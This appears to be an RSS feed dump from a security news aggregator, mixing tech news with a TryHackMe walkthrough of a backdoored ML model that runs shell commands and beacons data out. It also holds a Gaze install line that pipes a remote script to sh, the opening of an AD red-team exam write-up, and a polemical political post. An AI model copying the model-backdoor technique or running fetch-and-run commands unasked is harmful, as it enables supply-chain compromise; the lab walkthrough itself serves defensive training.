<p>Tipp: Holen Sie sich von Dritten ein <a href="https://cio.de/article/3687033/20-gruende-warum-sich-mitarbeiter-feedback-lohnt.html" target="_blank">detailliertes Feedback</a> darüber ein, wie Sie nach außen hin wahrgenommen werden. Das können Mentoren, gute Bekannte oder vertrauenswürdige Kollegen sein. Prüfen Sie, ob Eigen- und Fremdbild übereinstimmen. Was glauben die Anderen, welche Werte Sie vertreten? Und wie stark empfinden diese die Übereinstimmung Ihrer Werte mit Ihrem Handeln?</p>



<p>Begreifen Sie Klarheit als ganz wesentliche Kompetenz im Bereich des Führungshandelns. Als Führungskraft müssen Sie schließlich benennen können, was ist und wie es ist. Fangen Sie damit an, diese Kompetenz zu entwickeln.</p>



<h3 class="wp-block-heading">Die Do’s und Don’ts der Führung im leeren Büro</h3>



<p><strong>Don’t: Isolation</strong> Flexibles Arbeiten ist nicht für jedermann: Mitarbeiter mit großem Bedürfnis nach sozialer Interaktion benötigen Alternativen.</p>



<p><strong>Don’t: Ständige Erreichbarkeit</strong> Das Pochen auf ständige Erreichbarkeit schadet der Zufriedenheit und Gesundheit der Mitarbeiter und führt oftmals zu Burn-Out.</p>



<p><strong>Don’t: Schlechte Organisation</strong> Die Umstellung auf ein flexibles Arbeitsmodell über Nacht überfordert die Mitarbeiter und führt selten zum Erfolg.</p>



<p><strong>Don’t: Kontrolle</strong> Die permanente Überwachung ist durch die Einschränkung der individuellen Arbeitsweise die größte Hürde auf dem Weg zur flexiblen Arbeit.</p>



<p><strong>Don’t: Arbeitsweise vorschreiben</strong> Vorschriften zu Zeitplanung und Arbeitsweise mindern die Leistung der Mitarbeiter.</p>



<p><strong>Do: Feedback</strong> Regelmäßiges Feedback auf die geleistete Arbeit bindet Mitarbeiter auch über große Distanzen an das Team.</p>



<p><strong>Do: Spielregeln definieren</strong> Klare und transparente Regeln vermeiden Missverständnisse und erleichtern den Arbeitsalltag.</p>



<p><strong>Do: Vertrauen</strong> Anwesenheit ist nicht gleich Produktivität. Flexibles Arbeiten heißt vor allem, Mitarbeitern zu vertrauen.</p>



<p><strong>Do: Regelmäßige Meetings</strong> Nur der enge Austausch im Team sorgt für einen reibungslosen Ablauf und ein positives Arbeitsumfeld.</p>



<p><strong>Do: Investitionen</strong> Investitionen in Technik und Support garantieren eine sichere Verwaltung und den <a href="https://www.deloitte.com/de/de/alliances/aws/about/aws-european-sovereign-cloud-deloitte.html" target="_blank" rel="noreferrer noopener">Zugriff</a> von jedem beliebigen Ort.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Intelligence in iOS 27: What’s Free vs What Needs iCloud+]]></title>
<description><![CDATA[Apple Intelligence in iOS 27 remains free to use on supported devices, but Apple is adding higher usage limits for most iCloud+ subscribers. This mainly affects server-heavy AI features, such as image generation, while regular Apple Intelligence tools continue to work without a paid iCloud plan. ...]]></description>
<link>https://tsecurity.de/de/3645604/ios-mac-os/apple-intelligence-in-ios-27-whats-free-vs-what-needs-icloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645604/ios-mac-os/apple-intelligence-in-ios-27-whats-free-vs-what-needs-icloud/</guid>
<pubDate>Sat, 04 Jul 2026 18:25:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Intelligence in iOS 27 remains free to use on supported devices, but Apple is adding higher usage limits for most iCloud+ subscribers. This mainly affects server-heavy AI features, such as image generation, while regular Apple Intelligence tools continue to work without a paid iCloud plan. 



Apple confirmed that some Apple Intelligence features will have daily usage limits because they rely on powerful server models.



Feature typeFree usersiCloud+ subscribersWriting ToolsYesYesSmart Reply and summariesYesYesSiri AI basic useYesYesImage Playground and image generationYes, with daily limitsYes, with higher limitsPrivate Cloud Compute accessYes, when neededYes, with more access for some featuresCompatible Home camera AI featuresLimited or unavailableIncluded with most iCloud+ plans



What Stays Free in iOS 27







Most Apple Intelligence features do not require iCloud+. If your iPhone supports Apple Intelligence, you can use tools like Writing Tools, notification summaries, Smart Reply, Clean Up in Photos, natural language search in Photos, Genmoji, Image Playground, and Visual Intelligence features. Apple’s support page already lists these as Apple Intelligence features across recent iOS versions.



iOS 27 also brings the new Siri AI experience. Apple says Siri AI can understand screen content, use personal context across apps, answer broader questions, and work with a dedicated Siri app that privately syncs conversation history through iCloud.



What iCloud+ Adds



iCloud+ does not unlock Apple Intelligence itself. Instead, it gives higher access limits for selected features that need Apple’s larger server models.



Apple’s own wording says “some Apple Intelligence features, including image generation,” will have daily limits, and “increased access” will be available with most iCloud+ subscription plans.



That means free users still get access, but iCloud+ users get more room to use heavy AI tools before hitting daily caps.



Why Some Features Have Limits



Apple Intelligence runs in two ways. Many requests run on the device. More complex requests use Private Cloud Compute, which sends only the needed data to Apple silicon servers. Apple says this data is not stored and is not made accessible to Apple or anyone else.



Server-based AI costs more to operate, especially for image generation and advanced Siri requests. So Apple is using iCloud+ as a way to offer higher usage without putting every heavy request into the free tier.



Supported Devices



Apple says Apple Intelligence and Siri AI in iOS 27 work on iPhone 16 models or later, iPhone 15 Pro, and iPhone 15 Pro Max. Support also extends to iPads with A17 Pro or M-series chips, Macs with M1 or later, Apple Vision Pro, and newer Apple Watch models when paired with an Apple Intelligence-enabled iPhone.



Wrap Up



You do not need iCloud+ to use Apple Intelligence in iOS 27. The free tier covers the main AI features, including Siri AI, Writing Tools, summaries, Photos tools, and Visual Intelligence. iCloud+ mainly matters if you use image generation and other server-heavy AI tools often, because most paid iCloud+ plans raise the daily limits.]]></content:encoded>
</item>
<item>
<title><![CDATA[I'm shocked at the quality of Acer's new pre-built gaming PC — Clean build, competitive price, and strong performance put the Nitro 65 on my recommended shortlist]]></title>
<description><![CDATA[Pre-built gaming PCs from big brands are often overpriced and use proprietary components that aren't easy to upgrade. Acer puts that trend to an end with the Nitro 65, and although it's not perfect, it's easy to recommend to any gamers looking to land a quality PC.]]></description>
<link>https://tsecurity.de/de/3645462/windows-tipps/im-shocked-at-the-quality-of-acers-new-pre-built-gaming-pc-clean-build-competitive-price-and-strong-performance-put-the-nitro-65-on-my-recommended-shortlist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645462/windows-tipps/im-shocked-at-the-quality-of-acers-new-pre-built-gaming-pc-clean-build-competitive-price-and-strong-performance-put-the-nitro-65-on-my-recommended-shortlist/</guid>
<pubDate>Sat, 04 Jul 2026 16:10:34 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pre-built gaming PCs from big brands are often overpriced and use proprietary components that aren't easy to upgrade. Acer puts that trend to an end with the Nitro 65, and although it's not perfect, it's easy to recommend to any gamers looking to land a quality PC.]]></content:encoded>
</item>
<item>
<title><![CDATA[Startup Targets Datacenters With 3D-Printed Nuclear Reactor Module]]></title>
<description><![CDATA[Startup Ampera has unveiled what it calls the first 3D-printed nuclear reactor module, built around a silicon-carbide core and pressure vessel designed for a thorium-based microreactor. The company says future systems could deliver 15 or 30 megawatts for up to 30 years without refueling. When The...]]></description>
<link>https://tsecurity.de/de/3645256/it-security-nachrichten/startup-targets-datacenters-with-3d-printed-nuclear-reactor-module/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645256/it-security-nachrichten/startup-targets-datacenters-with-3d-printed-nuclear-reactor-module/</guid>
<pubDate>Sat, 04 Jul 2026 13:09:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Startup Ampera has unveiled what it calls the first 3D-printed nuclear reactor module, built around a silicon-carbide core and pressure vessel designed for a thorium-based microreactor. The company says future systems could deliver 15 or 30 megawatts for up to 30 years without refueling. When The Register asked about availability, their spokesperson said: "We expect the power generation portion of the system to be available as early as 2027, with the nuclear module being available to customers about 2030 based on regulatory approval." From the report: Founder and CEO Brian Matthews revealed the prototype microreactor, which features a fully 3D-printed silicon carbide reactor core and pressure vessel. "This next-generation nuclear core and pressure vessel sets the foundation for factory-built, mass-produced nuclear energy," Matthews said. "The advanced technology and additive manufacturing used demonstrate a clear commercial path for new nuclear technology coming to market in an accelerated manner." His company is developing a subcritical, solid-state, factory-built thorium-based nuclear reactor. Subcritical means the fuel cannot sustain a nuclear chain reaction on its own, which prevents a runaway power excursion.
 
Ampera uses "solid-state" to describe a design with solid rather than liquid fuel. The proposed fuel uses tristructural isotropic, or TRISO, particles, consisting of a fuel kernel containing thorium, surrounded by multiple ceramic and carbon layers. [...] "Thorium is the future for ultra-safe, clean power production," Matthews said at the time. "By producing TRISO thorium kernels in the United States, we can ensure ample access to the needed fuel supply as we scale up and also minimize price volatility risk."
 
Ampera also describes the heart of the reactor as as a spherical monolithic gyroid core. A gyroid, as far as we can fathom, is a complex shape that provides a massive surface area relative to its volume, making it well-suited for heat transfer. Its complexity makes it difficult to produce using conventional manufacturing methods, which is where additive manufacturing comes in. The core is 3D-printed using silicon carbide and designed to operate for up to 30 years without refueling, the firm claims. Ampera says its planned systems will provide 15 or 30 MWe, depending on the configuration, enough to supply a typical datacenter. Larger configurations are planned. Matthews said that his company expects to be the first to industrialize factory-built nuclear power with near-term deployment timelines.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Startup+Targets+Datacenters+With+3D-Printed+Nuclear+Reactor+Module%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F03%2F1657240%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F03%2F1657240%2Fstartup-targets-datacenters-with-3d-printed-nuclear-reactor-module%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/03/1657240/startup-targets-datacenters-with-3d-printed-nuclear-reactor-module?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe: Payload Walkthrough]]></title>
<description><![CDATA[Arman Kumar03:14 — The Alert That Shouldn’t ExistThe alert arrived at 03:14.No deployments were scheduled. No infrastructure changes were logged. Yet the inference server had started making outbound HTTPS requests to an unknown address. The requests were blocked only after an automated detection ...]]></description>
<link>https://tsecurity.de/de/3644802/hacking/tryhackme-payload-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644802/hacking/tryhackme-payload-walkthrough/</guid>
<pubDate>Sat, 04 Jul 2026 07:06:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Arman Kumar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PxM-aOHl-IaNHRCb"></figure><h3>03:14 — The Alert That Shouldn’t Exist</h3><p>The alert arrived at <strong>03:14</strong>.</p><p>No deployments were scheduled. No infrastructure changes were logged. Yet the inference server had started making outbound HTTPS requests to an unknown address. The requests were blocked only after an automated detection rule triggered.</p><p>That meant one thing: something malicious had been running quietly in production.</p><p>This room revolves around investigating an <strong>AI supply chain compromise</strong>, where a malicious model was introduced into production and remained undetected for weeks.</p><h3>Starting the Investigation</h3><p>The incident directory contained:</p><ul><li>Deployment logs</li><li>Network logs</li><li>Production model</li><li>Candidate replacement model</li><li>Clean baseline model</li></ul><p>The first step was reconstructing the deployment timeline.</p><p>By reading deployment.log, it became clear that the replacement model came from an unexpected organization:</p><pre>trustworthy-ai-lab</pre><p>The name looked safe, but that’s exactly what made it suspicious.</p><h3>Dwell Time</h3><p>Next, I compared the deployment timestamp against the SOC alert.</p><p>The compromised model had been active for:</p><pre>21 days</pre><p>Three full weeks of undetected malicious activity.</p><p>That’s a huge detection gap.</p><h3>Decompiling the Production Model</h3><p>The production model needed deeper inspection.</p><p>After decompilation, the malicious payload revealed something dangerous: it could execute shell commands directly using:</p><pre>system()</pre><p>That immediately elevated the incident from suspicious to critical.</p><p>The payload then executed:</p><pre>hostname</pre><p>Why?</p><p>To fingerprint the compromised host before exfiltration.</p><p>Classic attacker behavior.</p><h3>Beacon Analysis</h3><p>The outbound traffic logs contained beacon data showing communication with external infrastructure.</p><p>The HTTP method used was:</p><pre>POST</pre><p>That confirmed the server wasn’t just checking connectivity — it was transmitting data outward.</p><h3>Candidate Replacement Model</h3><p>Engineering had staged a new model called:</p><pre>candidate_model.h5</pre><p>Before deployment, it needed inspection.</p><p>Running the supplied analysis tool exposed a suspicious layer:</p><pre>manipulate_output</pre><p>This suggested the replacement model may also have been compromised.</p><p>In other words: the attacker wasn’t done.</p><h3>Recovering the Flag</h3><p>The attacker split the campaign ID across multiple artifacts to avoid easy detection.</p><p>Combining data from:</p><ul><li>beacon_capture.log</li><li>Candidate model inspection</li></ul><p>Recovered the complete flag:</p><pre>THM{b4ckd00r_1n_pl41n_s1ght}</pre><h3>Final Answers</h3><ul><li>Replacement organization: trustworthy-ai-lab</li><li>Days before alert: 21</li><li>Execution function: system</li><li>Shell command: hostname</li><li>HTTP method: POST</li><li>Suspicious layer: manipulate_output</li></ul><h3>Flag</h3><pre>THM{b4ckd00r_1n_pl41n_s1ght}</pre><h3>Final Thoughts</h3><p>This room demonstrates why <strong>AI model supply chains must be treated like software supply chains</strong>.</p><p>A model file is not just weights.</p><p>It can contain:</p><ul><li>Executable payloads</li><li>Hidden backdoors</li><li>Data exfiltration logic</li><li>Persistence mechanisms</li></ul><p>Security teams must inspect models before deployment, verify provenance, and continuously monitor runtime behavior.</p><p>Because sometimes the most dangerous compromise is the one that looks completely normal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=299cf414c360" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-payload-walkthrough-299cf414c360">TryHackMe: Payload Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gaze | Facial authentication for Linux (sudo, lock screen, GDM), on-device]]></title>
<description><![CDATA[We built Gaze (v0.2.1), a facial authentication system for Linux. It hooks into PAM, so it works for sudo, the lock screen, and GDM login. Everything runs on-device. No cloud, no account. It's been a slow build. v0.1.0 took about 3 months, and v0.2.0 landed roughly a month and a half after that. ...]]></description>
<link>https://tsecurity.de/de/3644646/linux-tipps/gaze-facial-authentication-for-linux-sudo-lock-screen-gdm-on-device/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644646/linux-tipps/gaze-facial-authentication-for-linux-sudo-lock-screen-gdm-on-device/</guid>
<pubDate>Sat, 04 Jul 2026 04:09:11 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>We built Gaze (v0.2.1), a facial authentication system for Linux. It hooks into PAM, so it works for <code>sudo</code>, the lock screen, and GDM login. Everything runs on-device. No cloud, no account.</p> <p>It's been a slow build. v0.1.0 took about 3 months, and v0.2.0 landed roughly a month and a half after that. We'd rather get things right than ship fast.</p> <p>What it does:</p> <ul> <li>PAM integration for <code>sudo</code>, <code>polkit</code>, and any PAM-aware auth stack</li> <li>Liveness anti-spoofing on by default. A local <code>MiniFASNet-V2</code> model checks the face crop after a match on the RGB path, and eye-motion analysis handles the IR path.</li> <li>Infrared camera support for Windows Hello-style IR cameras, including driving the IR emitter. You can enroll RGB and IR templates and combine them with hybrid policies: require both, either one, or fall back to IR when it's too dark.</li> <li>GNOME Shell extension for the lock screen, plus optional face unlock at GDM login</li> <li>Works with Hyprland (<code>hyprlock</code>), KDE Plasma, and LXQt alongside GNOME</li> <li>A libadwaita desktop app for enrolling, testing, and health checks</li> <li>DBus API (<code>com.gundulabs.Gaze</code>) if you want to build on top of it</li> <li>Multiple face profiles per user, so you can enroll a default, one with glasses, whatever varies</li> <li><code>gaze refine-face</code> to sharpen recognition in dim light or at odd angles</li> <li>Security levels from <code>low</code> to <code>maximum</code> that swap the detector/recognizer models and match threshold, plus a <code>custom</code> level if you want to tune it yourself</li> <li>Optional TPM 2.0 template encryption that seals your face templates to the machine, so a stolen disk can't read them</li> <li>Multi-user support (<code>gaze add-face work -u alice</code>)</li> <li><code>gaze doctor</code> for a quick health check, <code>gaze uninstall</code> for a clean removal</li> <li>Models download on first run and stay local under <code>/var/cache/gaze</code></li> </ul> <p>One-line install (Debian/Ubuntu/Fedora/Arch):</p> <p><code>sh curl -fsSL https://gaze.gundulabs.com/install.sh | sh </code></p> <p>One honest caveat: face recognition isn't perfect, so false accepts and rejects happen. Liveness and an IR camera raise the bar, but keep a password as a fallback and don't rely on Gaze as your only factor.</p> <p>Repo: <a href="https://github.com/GunduLabs/gaze">https://github.com/GunduLabs/gaze</a> Docs: <a href="https://gaze.gundulabs.com/">https://gaze.gundulabs.com</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/GunduLabs"> /u/GunduLabs </a> <br> <span><a href="https://i.redd.it/rg9kistn84bh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1umwehq/gaze_facial_authentication_for_linux_sudo_lock/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[German AfD Party Campaign For Dirty Energy Helps Only Putin]]></title>
<description><![CDATA[The AfD are campaigning hard to bring back Hitler’s pre-1941 racist forced deportation platform (Nisko and Gurs), and also to block clean energy and make Germany more dependent on foreign states like Russia. Johannes Kieß, a researcher specialising in right-wing extremism at Leipzig University [e...]]></description>
<link>https://tsecurity.de/de/3644378/it-security-nachrichten/german-afd-party-campaign-for-dirty-energy-helps-only-putin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644378/it-security-nachrichten/german-afd-party-campaign-for-dirty-energy-helps-only-putin/</guid>
<pubDate>Fri, 03 Jul 2026 22:52:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AfD are campaigning hard to bring back Hitler’s pre-1941 racist forced deportation platform (Nisko and Gurs), and also to block clean energy and make Germany more dependent on foreign states like Russia. Johannes Kieß, a researcher specialising in right-wing extremism at Leipzig University [explains why a Nazi agenda of the AfD isn’t the only … <a href="https://www.flyingpenguin.com/german-afd-party-campaign-for-dirty-energy-helps-only-putin/" class="more-link">Continue reading <span class="screen-reader-text">German AfD Party Campaign For Dirty Energy Helps Only Putin</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trunk Tools' stack cut document review from 60 days to 10 by ditching general-purpose models]]></title>
<description><![CDATA[Most verticals aren’t clean, well-oiled SaaS databases; the reality is ugly documents, proprietary schemas, implicit workflows, and long‑running tasks that most general-purpose models struggle with. This prompted construction project management company Trunk Tools to build a specialized, three-la...]]></description>
<link>https://tsecurity.de/de/3643726/it-nachrichten/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643726/it-nachrichten/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models/</guid>
<pubDate>Fri, 03 Jul 2026 15:46:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most verticals aren’t clean, well-oiled SaaS databases; the reality is ugly documents, proprietary schemas, implicit workflows, and long‑running tasks that most general-purpose models struggle with. </p><p>This prompted construction project management company Trunk Tools to build a specialized, three-layer architecture — perception, semantics, agents — based on highly-detailed data to support high-accuracy, highly-relevant industry automation.</p><p>Their purpose-built stack has shrunk review cycles from months to days, prevented costly field errors, and given autonomous agents the ability to reason over millions of pages of documentation, Trunk says. </p><p>“We really set out to take the data from dispersed systems, pre-process it, structure it, go through our ontology into a knowledge graph, and then train AI models,” said Sarah Buchner, Trunk’s founder and CEO and a former carpenter. </p><p>For builders in other verticals, Trunk’s approach could serve as a blueprint for transforming data chaos into agent‑ready, industry-specific workflows. </p><h2>Where general-purpose LLMs break down on industry data </h2><p>Foundation LLMs, while powerful, are optimized for breadth, not always depth. </p><p>“General-purpose LLMs are trained to be okay at everything, so they're weak at anything niche,” said Kriti Faujdar, a senior product manager working in AI infrastructure, agentic AI, security, and LLM platforms. For instance: Rare terms, domain-specific reasoning, the unspoken context that any practitioner “just knows.” </p><p>Web, app, and software developer Sébastien De Bollivier agreed that the biggest bottleneck is reliability on data that is “jargon-dense, abbreviation-heavy, and format-specific.” </p><p>“A GPT-4-class model can understand a French legal contract, but will fumble the specific article references practitioners need to cite,” he said. </p><p>Besides, the most valuable enterprise data never made it into pretraining anyway, Faujdar pointed out. It's sitting in internal systems and proprietary formats. “RAG helps a little,” she said. “But it's just giving better facts to a model that still can't reason properly in the domain.”</p><p>Pre-training on domain data is critical; enterprises should then fine-tune on good task examples and build their own evals. “A few thousand examples from real practitioners beats millions of scraped, noisy ones," Faujdar said. </p><p>Mixture-of-experts (MoE) can provide specialization without inference costs blowing up. Pairing RAG with fine-tuning also works well; RAG handles the factual long trail while fine-tuning fixes vocabulary and reasoning.</p><p>De Bollivier pointed to the advantage of hybrid stacks: A general-purpose model for reasoning and orchestration, a smaller fine-tuned model (or dense retrieval over a curated corpus) for domain-specific extraction. He advised: “Don't fine-tune to make the model 'smarter' about a domain, fine-tune to make it more reliable on the specific output format your workflow requires.”</p><p>The trades and construction are certainly industries seeing traction with these techniques, as are legal and healthcare, De Bollivier said. These verticals have “high stakes for errors plus standardized document formats, equaling clear domain-training ROI.”</p><p>One honest caveat worth mentioning, Faujdar said: Specialized models can often fall apart outside their domain, so they’re often not useful outside their expertise (unless they’re re-trained). </p><h2>Perception, semantics, agents: inside Trunk's three-layer stack</h2><p>In highly-specialized domains like construction, “data dumps” into large language models (LLMs) don’t cut it, said Trunk’s CTO Amrish Kapoor. This is because most transformers are probabilistic models: When given an image, they report back that it is “probably” a tree, or “probably” a child playing next to a tree. </p><p>This makes them insufficient for high‑precision symbolic interpretation. For instance, in construction documents, a 2-millimeter-wide symbol has a vastly different meaning depending on where it’s placed. </p><p>Further, constrained by context limits, probabilistic models struggle with long‑term project memory. “I don't mean a context window of a few tokens,” Kapoor said. “I'm talking about long term memory that stretches across months and years, because this is how long some of these projects are.”</p><p>Instead, Trunk’s three-layer system breaks workflows into: </p><ul><li><p>Perception (reading and extracting data from messy docs like PDFs, drawings, or scans)</p></li><li><p>A semantic/graph layer (making sense of that data and understanding their relationships).</p></li><li><p>LLMs and agents on top.</p></li></ul><p>Construction drawings are typically symbolic, Buchner said. A door isn't always labeled ‘door.’ Sometimes it's simply an arc on a wall that a trained eye learns to read based on years of practice. </p><p>“The perception layer is what teaches AI to read that language,” she said. The semantic layer then gives that information meaning; for instance, connecting the door to the drawing that details it, the spec that governs it, and the trade that installs it. This helps answer project engineers’ critical questions: Not "is there a door here?" but "does this door create a problem down the line?"</p><p>Particularly in construction, that shift matters because the cost of a problem compounds with time. “A conflict caught in design is relatively low cost to address,” Buchner said, “whereas the same problem caught in the field might cost tens of thousands of dollars.” </p><p>At a high level, the system identifies the document type and begins extracting information based on content (drawing, schedules, paragraph text). This data is then “transformed and augmented” in the platform, which triggers agentic workflows like knowledge graph relationships and end-user workflows. </p><p>For instance, an agent might review an architecture bulletin and produce a visual overlay comparing an older version and a newer version (flagging additions and removals), then generate written narratives that describe what those changes are in simple terms. This helps users understand what’s changed and coordinate with trade partners on updated pricing and change orders. </p><h2>The scale of construction’s data problem</h2><p>Construction workflows are “ripe with implicit assumptions and connections between data in its myriad of sources,” Buchner said. And the amount of unstructured data is “humanly impossible” to process or make sense of.</p><p>Buchner estimated the average high-rise building generates about 3.6 million pages of corresponding documentation. “If you print it into a stack of papers it would be as high as the building itself.” </p><p>All three layers of Trunk’s stack — perception, semantic, LLM — are trained on “very specific datasets” from customers with “explicit permissions” and auto‑labeling/IP, Kapoor explained. Customers who don’t want Trunk training on their data can opt out. </p><p>Data is deidentified and aggregated, and Trunk also collects “tons more” labeled data through other pipelines like 3D building information modeling (BIM). </p><p>Trunk says it only ships agents that achieve around 95% accuracy. The team maintains continuous evaluation pipelines based on ground truth data from customers and experts. They also employ an LLMs-as-a-judge model. </p><p>“This notion of an LLM as a judge is to score how well you're doing, both subjectively as well as objectively,” Kapoor said. Objectivity can be an easy ‘right’ or ‘not right,’ but subjectivity requires more nuance. </p><p>For instance, when creating an email or narrative or explanation, an LLM as a judge framework can create a composite score, or a numerical value that aggregates different metrics and tests a model's performance or risk.</p><p>There can be challenges, though, particularly with latency, Buchner noted; any time the reasoning capacity of underlying models increases, the risk of latency goes up, too. Trunk maintains a set of evaluation criteria to objectively measure latency whenever changes are made to underlying infrastructure, agents, and API calls. </p><p>Then, “before we release to customers, we ensure marginal changes to the end-user experience are well worth the performance enhancements,” Buchner said. </p><h2>From 60 days to 10: the measurable payoff</h2><p>Trunk’s platform powers seven AI agents purpose-built for construction, such as analyzing request for information (RFI) responses, overviewing bids, or reviewing drawings and submittals. </p><p>The submittal agent, for instance, flags missing, conflicting, or noncompliant information in product specs and RFIs. While it’s an essential step in the construction process, “it's a super annoying workflow,” Buchner said, because human reviewers have to compare documents “with a bunch of other parts of documents.” </p><p>But the agent is able to do this in seconds, and Trunk says it has reduced submittal cycles from 50 to 60 days to 10, “which has massive schedule and financial implications.” </p><p>Trunk is now at a place where these agents are communicating directly with each other, which is “quite exciting,” Buchner said. So, for example, one agent will review an architectural drawing for accuracy, then autonomously hand it over to agents handling RFIs and asking follow-up questions. </p><p>“If the drawings have problems, the RFI agent is taking over and is actively reaching out for clarification,” Buchner explained. </p><p>Trunk says its customers report savings of 20 to 40 minutes per field question. Buchner said that users in the field know better than anyone how much of a “time suck” it is to go back and forth from office trailers, dig through project documents in scattered systems or printed PDFs, reconcile discrepancies, and return to coordinate with trade partners. </p><p>Trunk says its customers report these additional outcomes:</p><ul><li><p>Average 8 minute time savings for single-document retrieval (status checks, location lookups, quantity queries).</p></li><li><p>Average 20 minute time savings for standard referencing (cross-referencing 2 to 3 spec sections to form an answer. </p></li><li><p>Average 40 minute time savings for multi-document research (listing and filtering queries, mapping relationships, analyzing RFIs and submittals across 4 to 6 documents).</p></li><li><p>Average 75 minute time savings for complex tasks (creating RFIs and other communication materials, deep cross-referencing across documents, change tracking). </p></li></ul><p>In one instance, Trunk’s drawing review agent flagged that a structural beam had been moved up 8.5 inches. However, this was not documented by the architect. If the change hadn’t been caught, the project manager would likely have had to strip out and reinstall the right size beam, Buchner said. This rework would have added $10,000 or more to the budget, and “certainly there would have been implications on the schedule.” </p><p>Buchner also pointed to other examples: an agent flagged $60,000 in exaggerated pricing with no justification from landscaping subcontractors; identified a fireplace that needed to be sealed prior to drywall installation, saving around $100,000 in labor, materials, and delays; and called out that an electric door required a panel that wasn’t included in electrical drawings. </p><h2>Learnings for other industries</h2><p>Trunk’s approach to building agents is applicable to any vertical working with high volumes of unstructured, industry-specific data. 

Builders working in specific verticals must understand the industry’s specific data challenges their end users face and build technical infrastructure that can transform unstructured data into something an “LLM can traverse and understand,” Buchner said. 

“Only then can you build the connections between data points that ultimately feed agentic workflows.”

A lot of money is being invested in foundational models, so enterprises should build modular systems that can leverage the strengths of various models as they continue to improve, Buchner advised. 

Then, “build your technical advantage where the generic models are not investing and not performing well,” she said. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: alisalive LinkedIn: camalzads Platform: CyberWarfare Labs (CWL) Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory ForestA few months back I finished the AD-RTS course material from C...]]></description>
<link>https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:06 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTIA7B832VNBN7OzR31H_Q.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub: <a href="http://github.com/alisalive">alisalive </a><br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads </a><br>Platform: CyberWarfare Labs (CWL) <br>Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory Forest</h4><p>A few months back I finished the AD-RTS course material from CyberWarfare Labs — four modules covering core Active Directory internals, Certificate Services abuse, Exchange Server exploitation, and ESXi-to-AD integration attacks. The course itself is dense, but the real test is the 30-day flag-based challenge lab that comes after it: a live, self-contained telecom environment called telecore.ad, built around a fictional company, TELECOM INC., with a Domain Controller, a SQL Server, a PKI/ADCS server, an Exchange server, an IIS-hosted internal web application, and an ESXi hypervisor sitting inside the same domain.</p><p>The exam is split into two independent adversary paths. Path 1 assumes zero credentials and zero prior access — you start with nothing but an IP range. Path 2 assumes you already have a low-privilege authenticated foothold on a public-facing web server and have to escalate from there. Both paths converge on the same underlying domain, but the entry vectors, the misconfigurations abused, and the final objectives are completely different. This write-up walks through the full methodology for both paths, exactly as I approached them, without listing the specific flag values captured along the way — the point here is the how, not the what.</p><p>Target: TELECOM INC. 